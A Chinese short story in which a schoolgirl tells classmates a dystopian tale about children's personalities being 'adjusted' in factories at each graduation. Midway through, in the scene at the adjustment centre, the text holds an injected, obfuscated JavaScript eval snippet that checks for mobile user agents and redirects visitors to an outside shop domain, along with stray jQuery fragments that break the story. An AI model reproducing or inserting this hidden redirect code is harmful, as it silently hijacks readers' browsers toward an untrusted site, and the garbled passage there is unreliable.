寒假还没有真正开始，教室里已经有了假期的气息。
黑板右上角写着距离放假的天数，窗边的几盆植物被孩子们轮流浇过水，课桌里也开始出现一些平时不会出现的东西：漫画、零食、准备带回家的画册，还有不知道谁从家里拿来的旅行地图。老师正在讲最后几天的安排，下面却已经有人悄悄讨论寒假准备去哪里。
“我要去奶奶家住一个星期。”
“我要去滑雪。”
“我爸爸说今年可以带我坐飞机。”
西西却趴在桌上，显得有些闷闷不乐。
“你怎么了？”糖糖问。
“马上放假了。”
“放假不是很好吗？”
“可是放假以后就听不到里奈讲故事了。”
这句话说出来以后，周围几个孩子也安静了一下。过去的这些日子里，每当课间或者午休有空，他们总会围到里奈身边，等她打开那个已经写得越来越厚的笔记本。有时候是吸血鬼，有时候是妖怪，有时候是平行世界，有时候只是一个普通孩子遇到了一件奇怪的事情。
他们已经习惯了每天听一个故事。
想到接下来这么长时间都听不到，反而有些舍不得。
“那你们寒假也可以自己讲故事。”里奈说。
“可是没有你的好听。”
西西回答得很认真。
里奈笑了一下，没有再说什么。她低头看着笔记本，手指轻轻翻过前面已经写满的几页，最后停在了一个新的标题上。
那两个字很简单。
卒业。
“虽然我们才四年级。”里奈说，“还远远没有到毕业的时候。”
几个孩子抬起头。
“不过，我这里还有一个关于毕业的故事。”
＊＊＊
在很久以前，人们认为孩子长大是一件自然而然的事情。
小孩子会慢慢学会说话、走路、读书，逐渐知道什么是责任，什么是规则，也会在一次次失败中变得成熟。没有人能够准确说出一个孩子究竟是在什么时候变成大人的，因为成长从来不是一道明确的门。
可是后来，城市里出现了一种新的制度。
所有孩子在完成一个阶段的学习以后，都必须进入专门的“人格调整工厂”。
小学毕业一次，中学毕业一次，大学毕业以后还会再进行一次。
官方给这种制度起了一个非常温和的名字：
人格调试。
他们说，孩子在成长过程中会形成许多不稳定的性格和习惯，有些来自家庭，有些来自朋友，有些来自偶然发生的事情。如果不及时调整，长大以后就可能无法适应社会。
因此，小学毕业以后，工厂会帮助孩子适应中学生活；中学毕业以后，则会帮助他们适应更复杂的社会；大学毕业时，还会进行最后一次全面调试，让每个人拥有适合工作的性格、稳定的情绪以及正确的社会观念。
人们很少觉得这有什么奇怪。
毕竟每一个人都要成长。
既然机器可以维修，电脑可以更新，那么人为什么不能调试？
家长们甚至把它看成一种值得庆祝的事情。
孩子毕业以后，父母通常会说：
“恭喜你，你要成为更好的自己了。”
孩子们也会带着一点紧张和期待走进工厂。
然后，他们出来。继续上学。继续生活。继续长大。
只是很少有人问过：
“调整以后的人，还是不是原来的那个人？”
＊＊＊
杉菜一直不喜欢“人格调试”这个词。
她是一个普通的小学生，成绩不算特别好，也不算差。她喜欢画画，喜欢收集路边漂亮的树叶，放学以后有时候会绕远路，只为了看看夕阳落在河面上的样子。
她还有一个不太容易被别人理解的习惯。她喜欢一个人发呆。什么也不做，就坐在那里看天空，有时候一坐就是半个小时。母亲总说她浪费时间。老师也说她应该把精力放在更有意义的事情上。
可杉菜觉得，发呆的时候脑子里会出现很多东西。有时候她会想到一幅画。有时候会想到一个从来没有去过的地方。还有时候，她只是觉得风吹过脸的时候很舒服。她不知道这些有什么用。但她不想失去它们。
小学毕业前，学校给所有学生发了一份《人格调试须知》。
杉菜拿回家以后，认真看了几遍。
上面写着：
“本次调试将帮助您顺利完成从儿童人格向中学生人格的过渡。”
下面列着需要检测的项目：
情绪稳定性。
社会适应性。
集体合作能力。
时间管理能力。
抗挫折能力。
规则意识。
目标意识。
还有一项：
无效兴趣清理。
杉菜看到这里，皱起了眉。
她问妈妈：“什么叫无效兴趣？”
母亲正在整理她的毕业用品，头也没抬。
“就是那些对以后没什么帮助的兴趣。”
“比如呢？”
“比如一天到晚画一些没用的东西。”
杉菜低头看着自己的画册。
“画画也没用吗？”
“不是说画画没用。”母亲停了一下，“只是如果以后想生活得好一点，就不能一直做小孩子喜欢的事情。”
杉菜没有再问。
那天晚上，她第一次认真考虑了一件事情。
她不想去工厂。
＊＊＊
毕业那天，学校举行了很热闹的典礼。
老师给每个人发了毕业证书，家长们在操场边拍照，孩子们互相拥抱，把同学录塞进彼此手里。
所有人都在说着类似的话。
“以后也要记得我。”
“中学见。”
“你一定要变得更厉害。”
“下次见面的时候，我们肯定都长大了。”
杉菜站在人群里，却突然觉得很难过。她知道，大家说的“长大”并不是一件简单的事情。第二天，他们就要被送去人格调试工厂。
她不想进去。不是因为害怕机器，也不是因为听说那里会疼。她只是害怕自己出来以后，仍然拥有现在的脸，却不再喜欢现在喜欢的东西。
典礼结束以后，家长们带着孩子陆续离开。
杉菜趁母亲和老师说话的时候，悄悄躲进了学校后面的旧仓库。她本来只是想逃过几个小时。等所有人离开以后，再想办法回家。
可她在那里一直躲到天黑。
夜里，她从学校后门出去，沿着一条很少有人经过的小路走到了城郊。
那里有一座已经停用很多年的旧工厂。
杉菜以前听父亲说过，那座工厂曾经也是做人格调试的，只是后来设备太旧，被新的工厂取代了。
她推开生锈的铁门，走了进去。里面一片漆黑。空气里有灰尘和金属的味道。她本来只是想找个地方躲一晚上，却在楼梯下面发现了一扇半掩着的门。
门后面有微弱的灯光。
杉菜犹豫了一会儿，还是走了进去。
＊＊＊
那是一间很大的档案室。
一排排柜子从地面一直延伸到天花板，上面密密麻麻贴着编号。杉菜起初并不知道那些是什么。她只是随便打开一个抽屉。里面放着厚厚的一叠资料。
姓名。
出生日期。
学校。
家庭。
兴趣。
性格。
成绩。
还有一栏她从来没有见过的东西。
人格版本。
她随手翻了几份。
有一个孩子，小学毕业前的记录是：
人格版本：A-07。
小学毕业以后：
人格版本：B-03。
中学毕业以后：
人格版本：C-12。
大学毕业以后：
人格版本：D-01。
杉菜的手慢慢停了下来。
她继续翻。
更多人的档案都是一样。
每个人都有不同的编号，却都经历着相似的变化。
她突然想起老师曾经说过：
“毕业不是结束，而是新的开始。”
可这些档案告诉她，毕业真正意味着的，似乎是：
旧的人格结束。
她继续寻找。
最后，在一个抽屉里找到了自己的名字。
杉菜。
她的心跳突然加快。
她把档案拿出来，一页一页看下去。
小学阶段的人格评估写得很详细。
喜欢绘画。
想象力强。
独处倾向明显。
情绪敏感。
好奇心强。
对未知事物兴趣高。
规则服从程度：中等。
社会竞争意识：偏低。
然后到了最后一页。
小学毕业人格调试建议：
降低无目的幻想行为。
减少无效独处时间。
提高竞争意识。
强化集体适应性。
降低过度敏感。
调整兴趣结构。
杉菜盯着最后一行看了很久。
那上面写着：
“建议保留核心人格特征：38%。”
她的手开始发抖。
原来所谓的“调试”，并不是帮助她成为更好的自己。
而是把他们认为“不需要的东西”一点一点拿走。
＊＊＊
杉菜没有继续往下翻。
她已经知道得够多了。
她转身准备离开，却在档案室门口看见了一张贴在墙上的旧海报。上面是一群穿着校服的孩子。
每个人都在笑。
下面写着一句话：
“毕业，是成为更好的自己。”
杉菜站在那里，忽然觉得这句话非常可怕。因为她突然想起来，自己以前也相信过。她一直以为大人之所以变得成熟，是因为经历了时间。现在她才知道，有些人的“成熟”，可能是因为他们把小时候的自己留在了工厂里。
她跑出了档案室。
可刚走到旧工厂的大门附近，就听见外面传来了汽车的声音。
有人发现她了。
几束手电筒的光从窗户照进来。
“杉菜！”
有人在喊她。
“我们知道你在里面。”
她躲在墙后面，捂住嘴，不敢出声。
脚步声越来越近。
“别害怕。”
一个女人的声音很温柔。
“人格调试没有你想象得那么可怕。”
杉菜没有回答。
“你只是还没有理解它的意义。”
女人继续说道：
“每个人都会经过这一过程。你会发现，调试以后，你会更快乐，也会更容易和别人相处。”
杉菜终于忍不住问：
“如果我不想呢？”
外面安静了一会儿。
女人回答：
“你现在不想，是因为你还是一个孩子。”
“等调试完成以后，你就会明白了。”
这句话让杉菜第一次真正感到害怕。
因为她忽然意识到：
他们甚至不允许她拥有“不愿意”的权利。
＊＊＊
她被带回去的时候，没有人责骂她。父母甚至没有生气。母亲抱住她，说自己很担心她。
父亲也只是告诉她：
“别害怕，所有孩子都会经历这个过程。”
杉菜看着他们。
“你们以前也做过吗？”
父母同时沉默了一下。
“当然。”
“那你们还记得吗？”
母亲笑了。
“记得什么？”
“你们小时候喜欢什么。”
母亲想了一会儿。
“很多东西都忘了。”
“为什么？”
“人长大以后，总会忘掉一些小时候的事情。”
杉菜没有说话。
她忽然很想问母亲，她小时候是不是也喜欢画画。是不是也曾经坐在树下发呆。是不是也有过一个不切实际的梦想。
可她没有问。
因为她已经知道答案可能是什么。
那些东西，也许早就被留在某一间工厂里了。
＊＊＊
第二天，杉菜被送进了人格调试中心。
那是一座非常漂亮的白色建筑。没有想象中的铁门，也没有可怕的机器。大厅里甚至摆着鲜花。
工作人员穿着整洁的制服，脸上带着温和的笑容。
“欢迎。”
“请不用紧张。”
“这只是一次普通的成长调试。”
杉菜被带进一个房间。
里面放着一张椅子。
墙上有一块屏幕。
工作人员坐在她对面。
“你知道为什么要来这里吗？”
杉菜没有回答。
“我们只是帮助你成为更好的自己。”
屏幕上出现了她的资料。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926041|213529||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>杉菜。
年龄：十二岁。
兴趣：绘画。
性格：敏感、好奇、独处倾向。
工作人员问：
“你喜欢画画吗？”
“喜欢。”
“以后还想继续吗？”
杉菜没有回答。
工作人员看着她。
“如果你的兴趣妨碍了学习和工作，我们会帮助你调整。”
杉菜问：
“如果我不想调整呢？”
工作人员仍然微笑。
“你现在的想法，会随着人格成长而改变。”
“可是……”
杉菜抬起头。
“如果以后那个改变了的我，不喜欢现在的我呢？”
工作人员愣了一下。
这是他没有遇到过的问题。
过了片刻，他才说：
“人总要成长。”
杉菜看着屏幕上的自己的名字。
“那成长一定要把以前的自己删掉吗？”
房间里安静下来。
工作人员没有回答。
机器启动。
白色的光慢慢覆盖了整个房间。
杉菜闭上眼睛。
她最后想到的，是毕业那天傍晚的天空。
她想起自己站在操场上，看着同学们一个个离开。
那时候她不知道自己为什么难过。
现在她终于明白了。
她舍不得的不是小学。
而是那个还没有被改变的自己。
想到这里，泪水不自觉的从眼角滑落。
＊＊＊
后来，杉菜完成了人格调试。
她重新回到了学校。
老师发现她变得非常安静，也更加听话。她的成绩提高了。她开始主动参加集体活动。她不再一个人坐在树下发呆。她也不再画那些奇怪的画。
同学们都说：
“杉菜好像变了。”
老师却很满意。
“她成长了。”
父母也很高兴。
“现在的杉菜懂事多了。”
只有一件事情让她自己觉得奇怪。
有一天，她整理房间的时候，从柜子后面找到了一个旧画册。她翻开第一页。里面画着一片蓝色的天空。第二页是一座没有人去过的城市。第三页是一棵长满星星的树。最后一页画着一个女孩。女孩坐在草地上，什么也没有做，只是抬头看着天空。
画的右下角写着几个歪歪扭扭的小字：
“这是我长大以后也想记住的自己。”
杉菜看着那句话。她觉得有些熟悉。可是她已经想不起自己为什么会写下它。她坐在那里很久。最后，把画册重新合上。然后放回柜子里。
第二天，她像往常一样去上学。
没有人发现什么异常。
也没有人知道，那个曾经喜欢画画、喜欢发呆、喜欢一个人看天空的女孩，究竟是在什么时候消失的。
大家只知道：
杉菜长大了。
＊＊＊
“她最后还是被调试了吗？”
西西听完以后，小声问。
里奈点了点头。
“是。”
“那她是不是忘记自己以前是谁了？”
“不是全部忘记。”
“那还好。”
安安摇摇头。
“我觉得不好。”
西西看向她。
安安想了一会儿，说：
“如果她记得那些事情，却已经不知道为什么喜欢它们了，那和忘记有什么区别？”
几个孩子都没有说话。
教室外传来其他班级的笑声。
距离放寒假已经没有几天了，大家都在讨论假期安排，可这一刻，谁都没有再提那些事情。
糖糖突然问：
“那为什么每个人都愿意去？”
里奈说：“因为所有人都认为，毕业以后应该成为更好的自己。”
“可是如果不想变呢？”
“那就会有人告诉你，你只是还不够成熟。”
西西低下头。
过了很久，她才问：
“里奈，那你觉得长大以后，我们会变成什么样？”
里奈看着她，没有马上回答。
窗外的阳光照在教室里，四年级的孩子们还坐在熟悉的位置上。他们的桌面上放着铅笔盒、课本和没有写完的作业，有人的书包里还藏着准备带回家的漫画。
他们现在还是孩子。
还没有毕业。
还没有进入所谓的工厂。
也还没有人告诉他们，应该成为什么样的人。
里奈轻轻翻过最后一页。
“我不知道。”
她说。
“可是我觉得，长大以后可以改变。”
西西点点头。
“那就好。”
“但有一件事情最好不要改变。”
安安问：
“什么？”
里奈看着他们。
“知道自己是谁的能力。”
几个孩子没有立刻听懂。
里奈也没有继续解释。
因为她知道，有些事情不需要现在就明白。
＊＊＊
放学铃声响了。
孩子们开始收拾书包。
西西把自己的东西一样一样装进去，忽然又想起什么，转头问里奈：
“所以这是你最后一个故事了吗？”
里奈点头。
“这一学期，是。”
“下学期呢？”
“下学期再讲。”
西西松了一口气。
“那就好。”
几个孩子背着书包走出教室，走廊里很快变得热闹起来。
他们讨论着寒假，讨论着旅行，讨论着过年的礼物，也讨论着下学期还会不会有新的故事。
里奈最后一个离开教室。
她站在门口，回头看了一眼。
黑板上还留着老师写下的“寒假安排”，窗台上的植物安静地晒着太阳，桌椅整整齐齐地排列着。
没有人知道，再过很多年，他们也会经历一次又一次所谓的“成长”。
也许他们会改变。
也许他们会忘记一些事情。
也许有一天，他们会成为自己小时候完全没有想过的那种人。
但至少现在，他们还是他们自己。
他们会因为一个故事笑，会因为一个故事害怕，也会因为一个故事突然产生一个很奇怪的问题。
这就够了。
里奈关上教室的门。